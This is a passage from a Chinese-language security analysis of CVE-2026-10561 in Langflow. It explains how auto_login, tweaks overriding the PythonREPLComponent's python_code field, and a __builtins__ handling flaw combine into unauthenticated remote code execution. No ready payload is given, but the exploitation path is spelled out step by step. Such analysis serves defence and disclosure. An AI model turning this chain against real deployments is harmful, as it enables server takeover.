) -> dict[str, Any]:
    tweaks_dict = cast("dict[str, Any]", tweaks.model_dump()) if not isinstance(tweaks, dict) else tweaks
    if "stream" not in tweaks_dict:
        tweaks_dict |= {"stream": stream}
    nodes = validate_input(graph_data, cast("dict[str, str | dict[str, Any]]", tweaks_dict))
    nodes_map = {node.get("id"): node for node in nodes}
    nodes_display_name_map = {node.get("data", {}).get("node", {}).get("display_name"): node for node in nodes}

    all_nodes_tweaks = {}
    for key, value in tweaks_dict.items():
        if isinstance(value, dict):
            if (node := nodes_map.get(key)) or (node := nodes_display_name_map.get(key)):
                apply_tweaks(node, value)
        else:
            all_nodes_tweaks[key] = value
    if all_nodes_tweaks:
        for node in nodes:
            apply_tweaks(node, all_nodes_tweaks)

    return graph_data

这里有个关键细节值得单独指出:源码里硬编码阻止覆盖的是 code 字段,而不是 python_code。对 PythonREPLComponent 来说,真正流向 sink 的正是 python_code,所以这层保护并没有挡住当前利用链。

这意味着攻击者并不只是“传一个字符串看看会不会被执行”,而是在利用系统本来就提供的图模板覆盖能力,把某个节点的核心属性替换掉。

这个区别很重要。

在很多系统里,数据流输入之所以不容易直接变成代码执行,是因为它需要跨过一个很大的语义鸿沟:

  • 用户输入只是数据
  • 执行组件读取的是固定代码

但在这里,tweaks 把这个鸿沟大幅缩短了,因为它本来就允许调用者参与节点配置的生成过程。攻击者拿到的不是“数据输入通道”,而是“配置重写通道”。

对执行型组件来说,配置一旦可改,往往就已经很接近 sink 了。

为什么 python_code 能被成功覆盖

这条利用链的一个关键点,是 PythonREPLComponent 的实际执行字段叫 python_code。从当前调用链看,tweaks 进入图构造阶段后,并没有阻止这个字段被覆盖并继续流向后续执行。

这会带来一个很直接的后果:

  • 原始 Flow 里,某个 PythonREPLComponent 可能带着一段 benign 代码
  • 攻击者在运行请求里提交同一节点的 python_code
  • process_tweaks() 接受这次覆盖
  • 图构造时使用的是覆盖后的模板
  • 最终组件运行时读到的就是攻击者代码

这一步的价值在于,它把攻击者控制内容从“外围请求参数”推进到了“组件内部即将执行的字段值”。

从漏洞成因角度看,这里体现的还是一个老问题:校验逻辑关注的对象,必须和真实 sink 读取的字段对齐。否则,即便系统在别处做过一些泛化限制,执行面也可能照样敞开。

Graph.from_payload(...) 之后,一切都进入正常业务路径

一旦 graph_data 被 process_tweaks() 改写完成,后面的事情反而简单了:Graph.from_payload(...) 会根据这份已经被攻击者影响过的数据构造运行时图对象。

从系统视角看,它并不知道“这里有恶意覆盖”;它只是忠实地把当前图数据还原成要执行的节点图。

于是后续组件调度、节点执行、输入输出流转,都成了正常业务路径的一部分。换句话说,攻击者不是在“偏离”系统设计,而是在利用系统本来就允许的路径,把恶意配置送进执行器。

这也是链式漏洞里很常见、但很重要的一点:一旦恶意数据足够早地进入配置阶段,后续很多中间层都只是在忠实执行系统自己的语义,不会主动意识到自己已经进入攻击状态。

最后一跳为什么几乎没有阻力

当 Flow 运行真正触发 PythonREPLComponent 时,最后一跳很直接:

result = python_repl.run(self.python_code)

这一步之前没有新的安全收敛点:

  • 没有针对 self.python_code 的再校验
  • 没有针对执行环境的再隔离
  • 没有把 builtins 收紧
  • 没有把代码做静态语义限制

所以,只要前面的 tweaks 覆盖已经成功,这里基本就不会再遇到额外阻力。

整条输入传播路径用流程图表示会更清楚,因为这里真正关键的是“攻击者输入是在图构造前进入配置层”,而不是普通数据层:

到这里,这已经不再是“理论上的危险执行器”,而是一条完整、具体、可复现的输入到执行链路。

第四部分:为什么这条链是结构性可利用,而不是偶然碰撞

分析到这里,其实已经能看出问题不止一个。更关键的是,这些问题不是松散并列,而是在运行时刚好互相补足。

auto_login 负责解决“有没有身份”

如果没有 auto_login,攻击者即便知道 PythonREPLComponent 的限制有缺陷,通常也还得额外解决认证或授权问题。很多系统的危险执行面并不是对匿名用户开放的,真正麻烦的地方恰恰在于“怎么合法进入业务路径”。

而 auto_login 在这里做的,就是把这个难点直接拿掉。它把攻击者送进了系统认可的高权限上下文,后面的调用都可以沿正常 API 继续走。

tweaks 负责解决“payload 怎么进去”

即使有高权限,如果系统没有一条可用于动态改写节点配置的路径,攻击者还得继续找别的输入入口。但 /run 链上的 tweaks 正好提供了这样一条能力。

更重要的是,它改的不是最终业务数据,而是图配置本身。这意味着攻击者可以影响“组件将要如何运行”,而不只是“组件将要处理什么内容”。

这一步本质上解决了 payload 投递问题。

PythonREPLComponent 的伪限制负责解决“进去之后为什么真能跑”

即使前两步都成立,如果 PythonREPLComponent 的执行环境真的被严格限制住,攻击者也未必能获得完整执行能力。也就是说,进入 sink 并不自动等于 RCE,执行环境本身还得足够“可利用”。

而这里的 builtins 缺口刚好让这一步成立:攻击者不仅能让自己的代码被解释执行,还能在执行后拿到足够强的语言原语,继续向文件、模块导入、命令执行这些方向扩展。

这三层问题是首尾衔接的

把整条链倒过来看,会更清楚:

  • 如果没有 builtins 问题,payload 进入组件后未必能突破“白名单限制”
  • 如果没有 tweaks,攻击者未必能把 payload 稳定送进 python_code
  • 如果没有 auto_login,攻击者未必能进入这条受保护的运行路径

换句话说,这不是三个独立漏洞各自摆在那里,而是三个问题分别补上了利用链里的一个关键空缺:

  • 身份
  • 输入
  • 执行

这也是为什么它的利用价值,比“某个单独地方用了 exec”高得多。后者只能证明局部危险,前者证明的是攻击者可以沿着系统原生调用链,稳定抵达那个危险点。

结语

CVE-2026-10561 最值得写的地方,不是简单证明 Langflow 里有一个 Python 执行组件,也不是单独说明 auto_login 会发 token,而是解释这两个点再加上一条配置改写路径之后,为什么会自然闭合成一条未授权 RCE 利用链。

从源码行为上回看,这条链的三段结构很清楚:

  • auto_login 把攻击者送进高权限上下文
  • tweaks 把攻击者输入推进到执行型组件的关键字段
  • PythonREPLComponent 对 __builtins__ 的错误处理让所谓白名单执行环境失去安全意义

所以,这个漏洞真正暴露出的不是单个实现失误,而是三层边界同时失效:

  • 身份边界失效
  • 配置边界失效
  • 执行边界失效

这个案例还有一个很值得保留的观察:真正决定 exploitability 的,往往不是某个危险函数是否存在,而是攻击者能不能沿着一条完整调用链,连续解决“拿到身份”“送入 payload”“触发执行”这三个问题。

当这三件事在同一套业务语义里被自然串起来时,漏洞就不再是局部风险,而会升级成一条真正可落地的远程利用链。